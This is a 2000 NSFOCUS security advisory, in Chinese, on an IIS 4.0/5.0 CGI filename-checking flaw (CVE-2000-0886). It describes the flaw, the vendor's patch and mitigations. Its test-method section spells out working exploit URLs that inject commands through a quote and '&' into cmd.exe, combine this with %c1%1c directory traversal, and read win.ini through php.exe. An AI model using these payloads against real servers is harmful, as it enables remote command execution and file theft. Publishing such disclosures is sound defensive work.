首页 -> 安全研究

安全研究

安全公告
绿盟科技安全公告(SA2000-07)

NSFOCUS安全小组(security@nsfocus.com)
http://www.nsfocus.com

Microsoft IIS CGI文件名检查漏洞

发布日期:2000-11-07

CVE ID:CVE-2000-0886
BUGTRAQ ID:1912

受影响的软件及系统:
====================
- Microsoft IIS 4.0
- Microsoft IIS 5.0

综述:
======
NSFOCUS安全小组发现微软IIS 4.0/5.0在处理CGI程序文件名时存在一个安全漏洞,攻击者可能利用这个漏洞查看系统文件或者执行任意系统命令。

分析:
======
Microsoft IIS 4.0/5.0在处理CGI程序(.exe, .pl, .php等等)时, 对用户请求的CGI程序名没有做完整的安全检查。如果文件名中包含一个特殊字符,可能导致IIS错误地打开或者执行文件。

1. 如果用户构造一个特殊的HTTP请求,要求IIS执行一个可执行目录下的".exe"或者".com"后缀结尾的程序。IIS会试图加载这个程序,加载时会首先检查这个文件是否存在以及此文件的类型。攻击者通过在文件名中添加一个特殊字符-双引号,导致加载程序错误地检查了另外一个不同的文件。如果此文件满足以下条件:

(1) 此文件存在
(2) 此文件是一个批处理文件(".bat"文件)或者".cmd"文件
(3) 文件是一个大于零字节的纯文本文件

IIS会自动调用"cmd.exe"对其进行解释。初始文件名的其他部分被当作批处理文件的参数传递给"cmd.exe",攻击者可以使用"&"等符号来执行任意命令。

2. 如果系统中安装了一些脚本解释器(php.exe,perl.exe等等)以及映射,当用户要求执行对应的CGI脚本程序(.php3, .pl等等)时,IIS会将用户提供的文件名交给脚本解释器解释。如果攻击者在文件中使用某些特殊字符,将使该解释器打开一个WEB目录以外的文件,依赖于解释器的处理方式,攻击者可能获取文件的部分或者全部内容。

测试方法:
==========
1. 执行任意命令

在一个可执行目录下创建一个批处理文件: test.bat. 它的内容可以是任意的, 例如:"abc". 提交下列URL:
  
http://site/scripts/test.bat"+&+dir+c:/+.exe (IIS 5.0)
或者
http://site/scripts/test.bat"+&+dir+c:/+.com (IIS 5.0)
将会得到C:\目录的列表。
  
由于IIS会在可执行文件名前后增加一个双引号,因此,在交给"CMD.exe"执行的时候就类似下列格式:
  
CMD.exe "D:\interpub\scripts\test.bat" & dir C:/ .exe"
  
因此攻击者可能以IUSER_machinename用户的身份执行任意命令,而且并不要求可执行虚拟目录与"WINNT\system32\CMD.exe"在同一个驱动器上.

对于IIS 4.0 <SP6以及那些打了MS00-057中补丁的IIS 4.0/5.0,可以使用下列URL:

http://site/scripts/test.bat"+"&+dir+c:/+.exe
  
对于IIS 4.0 + SP6/SP6a, 可以结合"%c1%1c"的漏洞:

http://site/scripts/test.bat"+"+&+dir+c:/+/..%c1%1c..%c1%1c..%c1%1c..%c1%1cwinnt/system32/route.exe
("winnt/system32/route.exe"可以用任意一个存在的可执行程序(.com/.exe)名代替)

注意:将要执行的命令放到参数部分也是可以的,例如:
http://site/scripts/a.bat"+".exe?+&+dir
微软开始提供的补丁没有考虑这一情况,我们推荐您尽快使用微软重新发布的新补丁。
  
尽管缺省情况下IIS的可执行目录中并不包含批处理文件,但是攻击者仍然有可能利用此漏洞。考虑以下两种情况:
  
(1) 如果系统管理员安装了某个CGI应用程序,允许用户在可执行目录下创建文件。例如某些计数器程序,允许用户创建自己的数据文件,尽管用户不能控制数据文件的内容,但是可以指定其文件名。因此攻击者就可以利用这个漏洞来执行命令。
      
(2) MSSQL或者Perl软件包都自带一些批处理文件。如果系统管理员安装了MSSQL或者Perl,并且与IIS某个虚拟可执行目录在同一个驱动器,那么攻击者也结合"%c1%1c"的漏洞来进行攻击.(参见NSFOCUS安全公告 SA2000-06: http://www.nsfocus.com/sa-06.htm)
                    
例如:MSSQL7缺省安装后其\install目录下会有两个批处理文件:
D:\mssql7\install\pubimage.bat
D:\mssql7\install\pubtext.bat
(假设MSSQL7装在D:\)
      
如果IIS的"\scripts"目录也被映射到"D:\interpub\scripts",那么使用如下的URL也可以执行任意命令:
http://site/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe
      
另外,如果网站允许用户上传".bat"或者".cmd"后缀的文件,同样可能遭受此种攻击。

2.  泄漏文件内容
    
如果系统安装了php.exe(PHP3),攻击者可能看到某些WEB目录以外的文件:
http://target/."./."./winnt/win.ini%20.php3

解决方法:
==========
1. 确保没有不必要的批处理文件和".cmd"文件,并保证批处理文件和".cmd"文件不与任何的虚拟可执行目录在同一个驱动器上
2. 设置CMD.exe的访问权限,禁止guests组访问CMD.exe

厂商状态:
==========
我们于2000年10月20日将此问题通知微软。
微软已就此发布了一个安全公告(MS00-086) 以及相应补丁。

2000年11月21日,微软重新发布了MS00-086以及新的补丁。

您可以在下列地址看到微软安全公告的详细内容:

http://www.microsoft.com/technet/security/bulletin/ms00-086.asp

补丁程序可以在下列地址下载:

. Internet Information Server 4.0:

http://www.microsoft.com/ntserver/nts/downloads/critical/q277873

. Internet Information Services 5.0:

http://www.microsoft.com/Windows2000/downloads/critical/q277873

声 明
==========

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技
============

绿盟科技(NSFOCUS Co., Ltd.)是中国网络安全领域的领导企业,致力于网络和系统安全问题的研究、高端网络安全产品的研发、销售与网络安全服务,在入侵检测/保护、远程评估、 DDoS攻击防护等方面提供具有国际竞争能力的先进产品,是国内最具安全服务经验的专业公司。有关绿盟科技的详情请参见: http://www.nsfocus.com

© 2024 绿盟科技